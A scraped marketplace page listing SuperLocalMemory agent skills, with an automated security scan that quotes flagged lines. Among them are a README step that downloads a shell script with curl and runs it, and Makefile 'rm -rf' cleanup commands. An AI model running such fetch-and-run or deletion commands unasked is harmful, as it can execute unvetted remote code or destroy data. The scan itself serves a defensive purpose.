No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-remember
When your agent uses it
Capture durable facts, decisions, constraints, and gotchas into SuperLocalMemory. Use when the user says "remember that", "save this decision", "note this constraint", or when a session produces a conclusion worth persisting across sessions. Always recall first to avoid duplicates.
What it loads into context
Frontmatter
185 tokensAlways available to the agent
SKILL.md
3,945 tokensWhen the skill is activated
Reference documents
1,043 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What to store (and what not to)
- Recall-before-remember (mandatory discipline)
- MCP-first workflow
- Deleting stale facts
- CLI fallback (when MCP is unavailable)
- Update vs forget discipline
- Sharing across profiles (opt-in)
- Profile-aware storage
- Related skills
Files
../../../docs/shared-memory.mddoc4,412 bytesSKILL.mdcore15,678 bytesSKILL.mdcore15,678 bytesSKILL.mdcore15,678 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-scope
When your agent uses it
Controls memory visibility across profiles — personal (private, default), shared (selected profiles), or global (all profiles on this machine). Default is always personal. Only change scope when the user explicitly asks to share a memory across workspaces. Works with both remember (write scope) and recall (read scope flags).
What it loads into context
Frontmatter
167 tokensAlways available to the agent
SKILL.md
1,473 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The Three Scopes
- Opt-in is mandatory
- Writing a shared or global fact
- Reading shared or global facts
- Configuring scope defaults
- Enterprise governance
- Scope deletion and retention
- Related skills
Files
SKILL.mdcore6,238 bytesSKILL.mdcore6,238 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-session
When your agent uses it
Manage SuperLocalMemory session lifecycle — call session_init once at the start of every fresh session to load relevant project context and get a session_id; call close_session when work is meaningfully complete to commit temporal summaries. Correct lifecycle hygiene is what makes SLM's learning loop work.
What it loads into context
Frontmatter
147 tokensAlways available to the agent
SKILL.md
2,834 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The lifecycle in one diagram
- session_init — call once per fresh session
- close_session — call when work is meaningfully complete
- Why this matters
- CLI fallback (when MCP is unavailable)
- Common mistakes
- Profile context
- Related skills
Files
SKILL.mdcore11,528 bytesSKILL.mdcore11,528 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-status
When your agent uses it
Health and optimization stats for SuperLocalMemory — call slm_optimize_stats() for live compression and cache counters (compress_runs, tokens_saved_compress, cache_proxy_hits, cache_proxy_misses, cache_kv_hits, cache_kv_misses); run slm status [--json] for system state (mode, profile, DB size, fact/entity/edge counts) and slm doctor [--json] for preflight including the "Optimize (Surface B)" health line; use together to confirm optimization is actually saving tokens.
What it loads into context
Frontmatter
229 tokensAlways available to the agent
SKILL.md
3,023 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Primary MCP Tool: slm_optimize_stats
- Secondary CLI: slm status
- Secondary CLI: slm doctor
- Secondary CLI: slm optimize status
- Store health and recovery
- Memory health: SLM looks after older memories
- Pictures and documents: status and repair
- Recommended Health Workflow
- Fail-Open
- Profile-aware status
- Related skills
Files
SKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-web-access
When your agent uses it
Set up and troubleshoot SuperLocalMemory Web access, the optional link that lets web apps (ChatGPT, Claude on the web, Muse, Composio, other remote MCP clients) use the memory on this computer. Covers turning it on from the dashboard, adding and removing apps, read/save/session permissions, the second yes for bot messages and pictures (the Web access switches in Connected apps), one-time upload links for pictures and PDFs, what leaves the computer, renewal, the connection states, the errors a web app can see, and the copy-paste instructions for web agents.
What it loads into context
Frontmatter
235 tokensAlways available to the agent
SKILL.md
2,516 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What it is
- Turning it on (the owner does this, in the dashboard)
- What a web app can call
- The second yes: Web access switches
- Adding a picture or PDF from a web app
- What leaves the computer
- Instructions for the web agent
- Renewal
- When a web app reports an error
- Removing an app
- Related skills
Files
SKILL.mdcore10,171 bytesSKILL.mdcore10,171 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubSkills included
- superlocalmemory
- slm-bot-memory
- slm-cache
- slm-compress
- slm-getting-started-bot
- slm-governance
- slm-graph
- slm-loop
- slm-media
- slm-mesh
- slm-profile
- slm-recall
- slm-remember
- slm-scope
- slm-session
- slm-status
- slm-web-access
- superlocalmemory
- slm-bot-memory
- slm-cache
- slm-compress
- slm-getting-started-bot
- slm-governance
- slm-graph
- slm-loop
- slm-media
- slm-mesh
- slm-profile
- slm-recall
- slm-remember
- slm-scope
- slm-session
- slm-status
- slm-web-access
- slm-bot-memory
- slm-cache
- slm-compress
- slm-getting-started-bot
- slm-governance
- slm-graph
- slm-loop
- slm-media
- slm-mesh
- slm-profile
- slm-recall
- slm-remember
- slm-scope
- slm-session
- slm-status
- slm-web-access
- superlocalmemory-web
- slm-bot-memory
- slm-cache
- slm-compress
- slm-getting-started-bot
- slm-governance
- slm-graph
- slm-loop
- slm-media
- slm-mesh
- slm-profile
- slm-recall
- slm-remember
- slm-scope
- slm-session
- slm-status
- slm-web-access
- slm-bot-memory
- slm-cache
- slm-compress
- slm-getting-started-bot
- slm-governance
- slm-graph
- slm-loop
- slm-media
- slm-mesh
- slm-profile
- slm-recall
- slm-remember
- slm-scope
- slm-session
- slm-status
- slm-web-access
- slm-bot-memory
- slm-cache
- slm-compress
- slm-getting-started-bot
- slm-governance
- slm-graph
- slm-loop
- slm-media
- slm-mesh
- slm-profile
- slm-recall
- slm-remember
- slm-scope
- slm-session
- slm-status
- slm-web-access
- slm-bot-memory
- slm-cache
- slm-compress
- slm-getting-started-bot
- slm-governance
- slm-graph
- slm-loop
- slm-media
- slm-mesh
- slm-profile
- slm-recall
- slm-remember
- slm-scope
- slm-session
- slm-status
- slm-web-access
- slm-bot-memory
- slm-cache
- slm-compress
- slm-getting-started-bot
- slm-governance
- slm-graph
- slm-loop
- slm-media
- slm-mesh
- slm-profile
- slm-recall
- slm-remember
- slm-scope
- slm-session
- slm-status
- slm-web-access
Repository facts
- License
- AGPL-3.0
- Created
- Feb 5, 2026
- Last pushed
- Oct 28, 2026
- Forks
- 37
- Open issues
- 1
- Project activity
- Active
Before you install
Network or broad shellAutomated signals, not a guarantee
Checked Nov 6, 2026
Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.
Show 366 notes
SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzeddocs/remote-access/architecture-preview.html:217Analysis incomplete: physical or joined line exceeds character limitdocs/remote-access/architecture-preview.html:216Analysis incomplete: physical or joined line exceeds character limitdocs/remote-access/assets/remote-gateway-boundaries.svg:1Analysis incomplete: physical or joined line exceeds character limitdocs/remote-access/assets/slm-local-and-remote-mobile.svg:1Analysis incomplete: physical or joined line exceeds character limitdocs/remote-access/assets/slm-local-and-remote.svg:1Analysis incomplete: physical or joined line exceeds character limitide/integration-compatibility-evidence.json:85Analysis incomplete: physical or joined line exceeds character limitide/integration-compatibility-evidence.json:86Analysis incomplete: physical or joined line exceeds character limitide/integration-compatibility-evidence.json:87Analysis incomplete: physical or joined line exceeds character limitsrc/superlocalmemory/encoding/data/common_english_words.txt:10100Analysis incomplete: regex work limit reachedsrc/superlocalmemory/ui/vendor/bootstrap.bundle.min.js:6Analysis incomplete: physical or joined line exceeds character limitsrc/superlocalmemory/ui/vendor/bootstrap.bundle.min.js:4Analysis incomplete: physical or joined line exceeds character limit
- 1 broad permissionin 1 file: wiki-content/_Footer.md:1
- 113 dangerous shell commandsin 58 files: src/superlocalmemory/graph/cozo_backend.py:245 tests/test_encoding/test_memory_kind_classifier.py:89 Makefile:50 and 55 more
- 11,697 network referencesin 1,689 files: uv.lock:14 integrations/remote-gateway/package-lock.json:27 package-lock.json:31 and 1,686 more
- 54 obfuscation signalsin 44 files: tests/test_compliance/test_export_serialises_every_column_type.py:101 tests/test_mesh/test_web_inbox_limits.py:92 integrations/remote-gateway/src/auth-flow.ts:23 and 41 more
- 22 instruction override signalsin 19 files: src/superlocalmemory/cli/main.py:644 slm-getting-started-bot/SKILL.md:42 slm-recall/SKILL.md:400 and 16 more
- 4,094 executable scriptsin 4,094 files: Makefile:1 antigravity-plugin/scripts/antigravity_hook_adapter.py:1 benchmark/_harness.py:1 and 4,091 more
- 1,569 references to secretsin 513 files: src/superlocalmemory/server/routes/v3_api.py:243 tests/test_dashboard_preserve_embedding.py:78 src/superlocalmemory/server/unified_daemon.py:50 and 510 more
- No requests to vote in Hot
Show all 17,550 signals by file
.claude-plugin/marketplace.json
- Network accessline 11
}, "description": "Local-first agent memory + reversible context compression and KV cache, as an MCP server, with optional pictures, PDFs and bot messaging. Serves the 58-tool full profile by default; `slm tools set <name>` changes it - Network accessline 12
"description": "Local-first agent memory + reversible context compression and KV cache, as an MCP server, with optional pictures, PDFs and bot messaging. Serves the 58-tool full profile by default; `slm tools set <name>` changes it for ever - Network accessline 13
"homepage": "https://github.com/qualixar/superlocalmemory", - Network accessline 29
}, "description": "Local-first agent memory with auditable hybrid retrieval — the Codex build, with Codex-shaped rules, hooks and launcher.", "homepage": "https://github.com/qualixar/superlocalmemory", - Network accessline 30
"description": "Local-first agent memory with auditable hybrid retrieval — the Codex build, with Codex-shaped rules, hooks and launcher.", "homepage": "https://github.com/qualixar/superlocalmemory", "keywords": [ - Network accessline 31
"homepage": "https://github.com/qualixar/superlocalmemory",
.cursor-plugin/marketplace.json
- Network accessline 12
"category": "productivity", "description": "Local-first long-term memory for your agents and bots: remember, recall and session context stored on your own computer, with reversible compression and a cache for large tool outputs.", - Network accessline 13
"description": "Local-first long-term memory for your agents and bots: remember, recall and session context stored on your own computer, with reversible compression and a cache for large tool outputs.", "homepage": "https://superlocal - Network accessline 14
"homepage": "https://superlocalmemory.com", - Network accessline 22
"license": "MIT", "name": "superlocalmemory", "repository": "https://github.com/qualixar/superlocalmemory", - Network accessline 23
"name": "superlocalmemory", "repository": "https://github.com/qualixar/superlocalmemory", "source": "./cursor-plugin", - Network accessline 24
"repository": "https://github.com/qualixar/superlocalmemory",
.github/FUNDING.yml
.github/plugin/marketplace.json
.github/workflows/pypi-publish.yml
- Network accessline 54
set -uo pipefail V="${RELEASE_TAG#v}" PYPI=$(curl -fsS -o /dev/null -w '%{http_code}' "https://pypi.org/pypi/superlocalmemory/$V/json" || true) - Network accessline 55
V="${RELEASE_TAG#v}" PYPI=$(curl -fsS -o /dev/null -w '%{http_code}' "https://pypi.org/pypi/superlocalmemory/$V/json" || true) NPM=$(npm view "superlocalmemory@$V" version 2>/dev/null || true) - Network accessline 56
PYPI=$(curl -fsS -o /dev/null -w '%{http_code}' "https://pypi.org/pypi/superlocalmemory/$V/json" || true) - Network accessline 87
environment: name: pypi url: https://pypi.org/project/superlocalmemory/ - Network accessline 88
name: pypi url: https://pypi.org/project/superlocalmemory/ permissions: - Network accessline 89
url: https://pypi.org/project/superlocalmemory/ - Network accessline 125
with: node-version: "20" registry-url: https://registry.npmjs.org - Network accessline 127
registry-url: https://registry.npmjs.org - Network accessline 171
set -uo pipefail V="${{ steps.version.outputs.version }}" PYPI=$(curl -fsS -o /dev/null -w '%{http_code}' "https://pypi.org/pypi/superlocalmemory/$V/json" || true) - Network accessline 172
V="${{ steps.version.outputs.version }}" PYPI=$(curl -fsS -o /dev/null -w '%{http_code}' "https://pypi.org/pypi/superlocalmemory/$V/json" || true) NPM=$(npm view "superlocalmemory@$V" version 2>/dev/null || true) - Network accessline 173
PYPI=$(curl -fsS -o /dev/null -w '%{http_code}' "https://pypi.org/pypi/superlocalmemory/$V/json" || true) - Network accessline 191
# what is missing is built (4.2.9: PyPI published, npm not). if [ "${{ steps.published.outputs.pypi }}" = "true" ]; then curl -fsS "https://pypi.org/pypi/superlocalmemory/$V/json" \ - Network accessline 192
if [ "${{ steps.published.outputs.pypi }}" = "true" ]; then curl -fsS "https://pypi.org/pypi/superlocalmemory/$V/json" \ | python3 -c 'import json,sys; [print(u["url"]) for u in json.load(sys.stdin)["urls"]]' \ - Network accessline 193
curl -fsS "https://pypi.org/pypi/superlocalmemory/$V/json" \ - Network accessline 194
| python3 -c 'import json,sys; [print(u["url"]) for u in json.load(sys.stdin)["urls"]]' \ | while read -r url; do curl -fsSL -o "dist/python/$(basename "$url")" "$url"; done else - Network accessline 195
| while read -r url; do curl -fsSL -o "dist/python/$(basename "$url")" "$url"; done - Network accessline 312
with: node-version: "24" registry-url: https://registry.npmjs.org - Network accessline 313
node-version: "24" registry-url: https://registry.npmjs.org package-manager-cache: false - Network accessline 314
registry-url: https://registry.npmjs.org
.gitignore
- Access to secretsline 209
[Credential-related source omitted]
.npmignore
- Access to secretsline 198
[Credential-related source omitted]
ATTRIBUTION.md
AUTHORS.md
CHANGELOG.md
- Network accessline 5
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), - Network accessline 6
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). - Access to secretsline 3241
[Credential-related source omitted] - Access to secretsline 3245
[Credential-related source omitted] - Access to secretsline 3265
[Credential-related source omitted] - Network accessline 3505
- **Per-agent attribution without per-agent processes.** The HTTP MCP endpoint accepts an agent-id path segment — `http://127.0.0.1:8765/mcp/claude`, `/mcp/hermes`, `/mcp/gemini`, etc. The daemon extracts it (root_path-aware ASGI wrapper) i - Access to secretsline 3561
[Credential-related source omitted] - Network accessline 3858
`proxy_enabled=False`, causing the function to return `False` immediately. Fix: replaced the entire implementation with a direct `urllib.request` HTTP probe to `http://127.0.0.1:8765/health` — correct in all execution contexts without a - Network accessline 3859
the entire implementation with a direct `urllib.request` HTTP probe to `http://127.0.0.1:8765/health` — correct in all execution contexts without any import of `lifecycle`. Also corrected missing `proxy_enabled: True` in the fields dict - Network accessline 3860
`http://127.0.0.1:8765/health` — correct in all execution contexts without any import - Network accessline 3864
`lifecycle.proxy_is_running()` which does not exist either. The call was caught by a broad `except Exception: pass`, so `proxy_running` was silently always `False`. Fix: same pattern — direct HTTP health probe to `http://127.0.0.1:8765/ - Network accessline 3865
broad `except Exception: pass`, so `proxy_running` was silently always `False`. Fix: same pattern — direct HTTP health probe to `http://127.0.0.1:8765/health` with a 1s timeout. `slm optimize status` now accurately reflects proxy livene - Network accessline 3866
same pattern — direct HTTP health probe to `http://127.0.0.1:8765/health` with a 1s - Network accessline 3890
### Added - **Optimize module** — a 3-lever system for reducing LLM token spend through an SLM-hosted proxy at `http://localhost:8765`. Levers: (1) **Cache** — exact and semantic caching of - Network accessline 3891
- **Optimize module** — a 3-lever system for reducing LLM token spend through an SLM-hosted proxy at `http://localhost:8765`. Levers: (1) **Cache** — exact and semantic caching of LLM calls with separate TTLs; (2) **Compress** — prompt - Network accessline 3892
proxy at `http://localhost:8765`. Levers: (1) **Cache** — exact and semantic caching of - Network accessline 3893
LLM calls with separate TTLs; (2) **Compress** — prompt compression via CCR/code/prose strategies; (3) **Align** — model routing. Proxy intercepts calls routed via `ANTHROPIC_BASE_URL=http://localhost:8765` or the `withSLM(Anthropic())` - Network accessline 3894
strategies; (3) **Align** — model routing. Proxy intercepts calls routed via `ANTHROPIC_BASE_URL=http://localhost:8765` or the `withSLM(Anthropic())` SDK adapter. - `slm optimize status|on|off|savings` CLI subcommands. - Network accessline 3895
`ANTHROPIC_BASE_URL=http://localhost:8765` or the `withSLM(Anthropic())` SDK adapter. - Network accessline 3896
- `slm optimize status|on|off|savings` CLI subcommands. - `slm proxy` CLI to start/stop the proxy and configure providers. - Dashboard Optimize pane at `http://localhost:8765/#optimize-pane` with live toggle UI. - Network accessline 3897
- `slm proxy` CLI to start/stop the proxy and configure providers. - Dashboard Optimize pane at `http://localhost:8765/#optimize-pane` with live toggle UI. - Separate `llmcache.db` for cache storage — never writes to `memory.db`. - Network accessline 3898
- Dashboard Optimize pane at `http://localhost:8765/#optimize-pane` with live toggle UI. - Access to secretsline 3929
[Credential-related source omitted] - Access to secretsline 3933
[Credential-related source omitted] - Access to secretsline 4216
[Credential-related source omitted] - Access to secretsline 4325
[Credential-related source omitted] - Access to secretsline 4326
[Credential-related source omitted] - Network accessline 4411
- Populates `broker._remote_peers` from remote `/mesh/peers` endpoint every 30s - Environment variables: - `SLM_MESH_PEER_URL`: Full URL of remote SLM (e.g. `http://192.168.1.100:8765`) - Network accessline 4412
- Environment variables: - `SLM_MESH_PEER_URL`: Full URL of remote SLM (e.g. `http://192.168.1.100:8765`) - `SLM_MESH_SHARED_SECRET`: Shared auth secret (required for remote mode) - Network accessline 4413
- `SLM_MESH_PEER_URL`: Full URL of remote SLM (e.g. `http://192.168.1.100:8765`) - Network accessline 5563
We use [Semantic Versioning](https://semver.org/): - Network accessline 5568
**Current Version:** v4.0.0 (see top of this file for the active release entry) **Website:** [superlocalmemory.com](https://superlocalmemory.com) - Network accessline 5569
**Website:** [superlocalmemory.com](https://superlocalmemory.com)
CITATION.cff
- Network accessline 6
- family-names: "Bhardwaj" given-names: "Varun Pratap" orcid: "https://orcid.org/0009-0002-8726-4289" - Network accessline 7
given-names: "Varun Pratap" orcid: "https://orcid.org/0009-0002-8726-4289" version: "4.2.13" - Network accessline 8
orcid: "https://orcid.org/0009-0002-8726-4289" - Network accessline 14
date-released: "2026-10-12" license: AGPL-3.0-or-later url: "https://superlocalmemory.com" - Network accessline 15
license: AGPL-3.0-or-later url: "https://superlocalmemory.com" repository-code: "https://github.com/qualixar/superlocalmemory" - Network accessline 16
url: "https://superlocalmemory.com" - Network accessline 17
repository-code: "https://github.com/qualixar/superlocalmemory" - Network accessline 28
year: 2026 journal: "arXiv preprint arXiv:2608.08253" url: "https://arxiv.org/abs/2608.08253" - Network accessline 29
journal: "arXiv preprint arXiv:2608.08253" url: "https://arxiv.org/abs/2608.08253" doi: "10.5281/zenodo.21853302" - Network accessline 30
url: "https://arxiv.org/abs/2608.08253"
COMMERCIAL-LICENSE.md
CONTRIBUTING.md
- Network accessline 88
# Clone your fork git clone https://github.com/YOUR_USERNAME/superlocalmemory.git - Network accessline 89
git clone https://github.com/YOUR_USERNAME/superlocalmemory.git - Network accessline 92
# Add upstream remote git remote add upstream https://github.com/qualixar/superlocalmemory.git - Network accessline 93
git remote add upstream https://github.com/qualixar/superlocalmemory.git - Network accessline 675
**Python Development:** - [PEP 8 Style Guide](https://pep8.org/) - Network accessline 676
- [PEP 8 Style Guide](https://pep8.org/) - Network accessline 677
- [Real Python](https://realpython.com/) - Network accessline 678
- [pytest Documentation](https://docs.pytest.org/) - Network accessline 680
**Knowledge Graphs:** - [GraphRAG Paper](https://arxiv.org/abs/2404.16130) - Network accessline 681
- [GraphRAG Paper](https://arxiv.org/abs/2404.16130) - Network accessline 682
- [Leiden Algorithm](https://www.nature.com/articles/s41598-019-41695-z) - Network accessline 683
- [TF-IDF Explained](https://scikit-learn.org/stable/modules/feature_extraction.html#tfidf-term-weighting) - Network accessline 685
**SQLite:** - [SQLite Documentation](https://www.sqlite.org/docs.html) - Network accessline 686
- [SQLite Documentation](https://www.sqlite.org/docs.html) - Network accessline 687
- [FTS5 Full-Text Search](https://www.sqlite.org/fts5.html)
LICENSE
- Network accessline 4
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/> - Network accessline 645
You should have received a copy of the GNU Affero General Public License along with this program. If not, see <https://www.gnu.org/licenses/>. - Network accessline 646
along with this program. If not, see <https://www.gnu.org/licenses/>. - Network accessline 659
if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU AGPL, see <https://www.gnu.org/licenses/>. - Network accessline 661
<https://www.gnu.org/licenses/>.
Makefile
- Executable scriptline 1
Executable file - Access to secretsline 35
[Credential-related source omitted] - Access to secretsline 40
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Dangerous shell operationline 50
[Credential-related source omitted] - Access to secretsline 50
[Credential-related source omitted] - Access to secretsline 51
[Credential-related source omitted] - Dangerous shell operationline 52
npm publish --userconfig "$$NPMRC_TMP" && rm -f "$$NPMRC_TMP" || (rm -f "$$NPMRC_TMP"; exit 1) - Dangerous shell operationline 55
find . -name "*.pyc" -delete - Dangerous shell operationline 56
find . -name "__pycache__" -type d -exec rm -rf {} + 2>/dev/null || true - Dangerous shell operationline 57
rm -rf dist/ build/ src/superlocalmemory.egg-info/ .pytest_cache/ .pytest_tmp_data/
NOTICE
PRIVACY.md
- Network accessline 3
Effective 15 October 2026. This policy covers the SuperLocalMemory software: the `superlocalmemory` package on PyPI and npm, and the plugins, extensions and connectors built from this repository for Claude Code, Codex, Cursor, VS Code, Anti
README.md
- Network accessline 4
<picture> <source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/qualixar/superlocalmemory/main/assets/branding/slm-wordmark-dark.svg"> - Network accessline 5
<source media="(prefers-color-scheme: dark)" srcset="https://raw.githubusercontent.com/qualixar/superlocalmemory/main/assets/branding/slm-wordmark-dark.svg"> - Network accessline 6
<img src="https://raw.githubusercontent.com/qualixar/superlocalmemory/main/assets/branding/slm-wordmark-light.svg" alt="SuperLocalMemory" width="380"> - Network accessline 9
<p align="center"><img src="https://raw.githubusercontent.com/qualixar/superlocalmemory/main/assets/mascot/slm-mascot-hero.png" width="180" alt="SuperLocalMemory mascot, a fluffy caped helper with the SLM logo, arms open"></p> - Network accessline 15
[](https://pypi.org/project/superlocalmemory/) - Network accessline 16
[](https://www.npmjs.com/package/superlocalmemory) - Network accessline 17
[](https://pepy.tech/project/superlocalmemory) - Network accessline 18
[](https://www.npmjs.com/package/superlocalmemory) - Network accessline 19
[](https://github.com/qualixar/superlocalmemory/stargazers) - Network accessline 20
[](https://github.com/qualixar/superlocalmemory/blob/main/LICENSE) - Network accessline 21
[](#research) - Network accessline 23
**[Install](#install)** · **[See it work](#30-second-example)** · **[Full demo](https://www.youtube.com/watch?v=9Y0wAT07KTc)** · **[Every capability](#everything-slm-does)** · **[Docs](#documentation)** · **[Website](https://www.superlocalm - Network accessline 25
**⭐ If SuperLocalMemory keeps your agents from guessing, [star the repo](https://github.com/qualixar/superlocalmemory/stargazers). It helps other developers find it.** - Network accessline 27
<img src="https://raw.githubusercontent.com/qualixar/superlocalmemory/main/docs/assets/gifs/recall-tiers.gif" alt="Recall in the dashboard: a real question gets its answer; a gibberish question gets 'That isn't in SuperLocalMemory.'; a real - Network accessline 41
Install SuperLocalMemory on this computer for me. Follow https://github.com/qualixar/superlocalmemory/blob/main/SETUP_FOR_AGENTS.md - Network accessline 42
https://github.com/qualixar/superlocalmemory/blob/main/SETUP_FOR_AGENTS.md - Dangerous shell operationline 52
curl -fsSLo get-slm.sh https://raw.githubusercontent.com/qualixar/superlocalmemory/main/scripts/get-slm.sh && sh get-slm.sh - Network accessline 52
curl -fsSLo get-slm.sh https://raw.githubusercontent.com/qualixar/superlocalmemory/main/scripts/get-slm.sh && sh get-slm.sh - Network accessline 78
**uv**: `uv tool install --python 3.12 superlocalmemory` installs `slm` as an isolated tool, with nothing to activate; see [Linux install](https://github.com/qualixar/superlocalmemory/blob/main/docs/install-linux.md#isolated-slm-command-wit - Network accessline 82
**Two models, one memory.** Text is searched with a small local text model (nomic). If you turn on pictures and documents, a second local model (Google's EmbeddingGemma 2) reads them, and one recall returns both. The picture model unloads a - Network accessline 113
**3. Your documents and screenshots become a knowledge base you can ask.** Save a photo, a screenshot or a PDF and find it weeks later by describing it — *"the slide with the quarterly numbers"*. The picture model is <img src="https://raw.g - Network accessline 115
**4. Karpathy's LLM-wiki idea, built in — with search kept.** Andrej Karpathy's [LLM-wiki pattern](https://gist.github.com/karpathy/442a6bf555914893e9891c11519de94f) turns raw documents into an organised knowledge base with an index and a h - Network accessline 129
**11. It learns every day, and it can't quietly get worse.** Every reported outcome teaches it: ranking learns which memories actually helped, stable habits become soft prompts for new sessions, and agent skills are measured and revised. A - Network accessline 139
[](https://www.youtube.com/watch?v=9Y0wAT07KTc) - Network accessline 155
| **Claude Code** (terminal and desktop app) | Type `/plugin marketplace add qualixar/superlocalmemory`, then `/plugin install superlocalmemory@qualixar` | | **Claude Desktop** | Run `slm connect claude-desktop`, then restart Claude Desktop - Network accessline 156
| **Claude Desktop** | Run `slm connect claude-desktop`, then restart Claude Desktop | | **ChatGPT, Claude on the web, Muse, Composio** | Open the dashboard (`slm dashboard`) → **Web access** → turn it on, then add the link it shows as a co - Network accessline 157
| **ChatGPT, Claude on the web, Muse, Composio** | Open the dashboard (`slm dashboard`) → **Web access** → turn it on, then add the link it shows as a connector in that app ([step-by-step](https://github.com/qualixar/superlocalmemory/blob/m - Network accessline 158
| **Codex** (terminal and desktop app) | Run `codex plugin marketplace add qualixar/superlocalmemory --ref main`, then `codex plugin add superlocalmemory-codex@qualixar` | | **Cursor** (editor and Agents window) | Run `slm connect cursor`, - Network accessline 159
| **Cursor** (editor and Agents window) | Run `slm connect cursor`, then restart Cursor | | **VS Code** (Copilot chat in the editor) | Install the SuperLocalMemory extension (`.vsix` from the [latest release](https://github.com/qualixar/sup - Network accessline 160
| **VS Code** (Copilot chat in the editor) | Install the SuperLocalMemory extension (`.vsix` from the [latest release](https://github.com/qualixar/superlocalmemory/releases/latest): Extensions → `...` → Install from VSIX) | - Network accessline 164
| **Grok Bot** | In Grok's Plugins screen, add the marketplace `qualixar/superlocalmemory` and add `superlocalmemory` | | **Muse CLI** | Run `slm connect muse`, then `muse plugins install "$(npm root -g)/superlocalmemory/muse-plugin"` and ` - Network accessline 165
| **Muse CLI** | Run `slm connect muse`, then `muse plugins install "$(npm root -g)/superlocalmemory/muse-plugin"` and `muse plugins approve superlocalmemory` | | **Hermes** (terminal and desktop app) | Run `hermes plugins install 'https:// - Network accessline 166
| **Hermes** (terminal and desktop app) | Run `hermes plugins install 'https://github.com/qualixar/superlocalmemory.git#hermes-plugin'`, then `slm upgrade-hosts --host hermes --apply` | - Network accessline 171
Restart the app after adding SuperLocalMemory. Then ask it something like *"What do you remember about this project?"* The [plugin guide](https://github.com/qualixar/superlocalmemory/blob/main/docs/plugins.md) has the details for each app, - Network accessline 175
**Every harness, every bot, one memory.** Any harness that speaks MCP (`slm mcp`, or `http://127.0.0.1:8765/mcp/`) or can run a command (`slm remember`, `slm recall`) can use SuperLocalMemory. The packaged plugins are ready-made examples, n - Network accessline 182
| **Antigravity** | `agy plugin install` the bundled plugin | MCP, 16 skills, 4 agents, `/slm-loop`, hooks | | **Hermes** | Native plugin, then `slm upgrade-hosts --host hermes --apply` to grant it the memory server | 16 skills, advisor age - Network accessline 183
| **Hermes** | Native plugin, then `slm upgrade-hosts --host hermes --apply` to grant it the memory server | 16 skills, advisor agents, `/slm <command>`, recall and session hooks | | **VS Code** | The SuperLocalMemory extension (`.vsix` on - Network accessline 184
| **VS Code** | The SuperLocalMemory extension (`.vsix` on the [release page](https://github.com/qualixar/superlocalmemory/releases/latest)) | The memory server in the agent's tool list, nothing to edit | - Network accessline 187
| **OpenClaw** | `slm connect openclaw` | MCP and 14 skills | | **Muse CLI** | `slm connect muse`, then `muse plugins install` the bundled plugin | MCP, 16 skills, 4 agents, `/slm-loop`, session and recall hooks | | **Grok Bot and Cursor-fo - Network accessline 188
| **Muse CLI** | `slm connect muse`, then `muse plugins install` the bundled plugin | MCP, 16 skills, 4 agents, `/slm-loop`, session and recall hooks | | **Grok Bot and Cursor-format hosts** | Add the `qualixar` plugin marketplace | A lean - Network accessline 189
| **Grok Bot and Cursor-format hosts** | Add the `qualixar` plugin marketplace | A lean plugin built for shared bot computers ([guide](https://github.com/qualixar/superlocalmemory/blob/main/docs/plugins.md#grok-bot-and-other-cursor-format-h - Network accessline 190
| **Cursor, Windsurf, Zed, JetBrains, Gemini CLI, Claude Desktop, OpenCode, Continue** | `slm connect <name>` | MCP in that tool's own config | | **ChatGPT, Claude on the web, Muse, Composio** | Optional **Web access** from the dashboard: s - Network accessline 191
| **ChatGPT, Claude on the web, Muse, Composio** | Optional **Web access** from the dashboard: sign in per app, read-only or read-and-save, remove any app at once | Your local memory, from the web; the database never leaves your computer ([ - Network accessline 192
| **LangGraph, LangChain, LlamaIndex, CrewAI, AutoGen, Semantic Kernel, Microsoft Agent Framework, Google ADK, OpenAI Agents** | Framework adapters | Memory inside your own code ([adapters](https://github.com/qualixar/superlocalmemory/blob/ - Network accessline 193
| **Anything else** | Paste the [universal agent rules](https://github.com/qualixar/superlocalmemory/blob/main/plugin-src/rules/AGENTS.md) and give it the CLI or MCP | Memory discipline for any agent | - Network accessline 195
**What the plugins teach your agent.** Every plugin is built from one source, so every host gets the same 16 skills (recall, remember, sessions, governance, scopes and profiles, the knowledge graph, mesh, bounded loops, cache, compression, - Network accessline 201
